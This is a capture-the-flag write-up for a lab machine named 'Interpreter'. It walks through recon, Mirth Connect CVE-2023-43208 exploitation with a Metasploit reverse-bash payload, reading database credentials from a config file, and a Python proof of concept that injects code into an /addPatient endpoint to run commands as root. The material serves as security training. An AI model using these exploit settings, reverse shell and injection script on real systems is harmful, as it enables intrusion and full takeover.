Interpreter
Interpreter
Recon
Let’s scan the ports and services.
1
2
3
4
5
nmap -Pn -sC -sV 10.129.244.184
22/tcp open ssh
80/tcp open http
443/tcp open https
The webstart.jnlp file leaks the Mirth Connect version:
1
2
3
curl -sk https://10.129.244.184/webstart.jnlp | head -n 40
... Mirth Connect 4.4.0 ...
Foothold
Mirth Connect 4.4.0 is vulnerable to CVE-2023-43208. I used Metasploit with these settings:
1
2
3
4
5
6
7
8
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS 10.129.244.184
set RPORT 443
set SSL true
set LHOST [Attacker IP]
set PAYLOAD cmd/unix/reverse_bash
set VERBOSE true
run
Then run it from a resource script:
1
msfconsole -q -r msf_cve_2023_43208.rc
In the shell we got:
1
2
3
id
uid=103(mirth) gid=103(mirth) groups=103(mirth)
Enumeration as mirth
First, the services listening locally:
1
2
3
ss -lntp
LISTEN 0 128 127.0.0.1:54321 ...
Next, the Mirth database credentials from the config file:
1
2
3
4
cat /usr/local/mirthconnect/conf/mirth.properties | rg "database\.(username|password)"
database.username = mirthdb
database.password = MirthPass123!
Port 54321 is only on localhost, so let’s look at it:
1
curl -s http://127.0.0.1:54321/addPatient
Root
The /addPatient endpoint evaluates the expression we put inside {...} in the patient data. This script sends any expression we give it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
# /home/x/Downloads/poc/addpatient_eval_poc.py
import argparse
import json
import sys
import requests
def build_xml(firstname: str) -> str:
return f"""<?xml version='1.0' encoding='UTF-8'?>
<patient>
<firstname>{firstname}</firstname>
<lastname>tester</lastname>
<dob>1990-01-01</dob>
<ssn>111-22-3333</ssn>
</patient>
"""
def main() -> int:
parser = argparse.ArgumentParser(description="PoC for addPatient expression evaluation")
parser.add_argument("--url", required=True, help="Target URL, e.g. http://127.0.0.1:54321/addPatient")
parser.add_argument("--expr", required=True, help="Expression body to place inside {...}")
parser.add_argument("--timeout", type=int, default=10)
args = parser.parse_args()
payload = "{" + args.expr + "}"
xml_data = build_xml(payload)
headers = {"Content-Type": "application/xml"}
try:
r = requests.post(args.url, data=xml_data.encode(), headers=headers, timeout=args.timeout)
except requests.RequestException as exc:
print(f"[!] Request failed: {exc}", file=sys.stderr)
return 1
print(f"[+] HTTP {r.status_code}")
print("[+] Response body:")
print(r.text)
return 0
if __name__ == "__main__":
raise SystemExit(main())
Now we run id through it, and it comes back as root:
1
2
3
4
5
6
7
python3 /home/x/Downloads/poc/addpatient_eval_poc.py \
--url http://127.0.0.1:54321/addPatient \
--expr 'os.popen("id").read()'
[+] HTTP 200
[+] Response body:
uid=0(root) gid=0(root) groups=0(root)
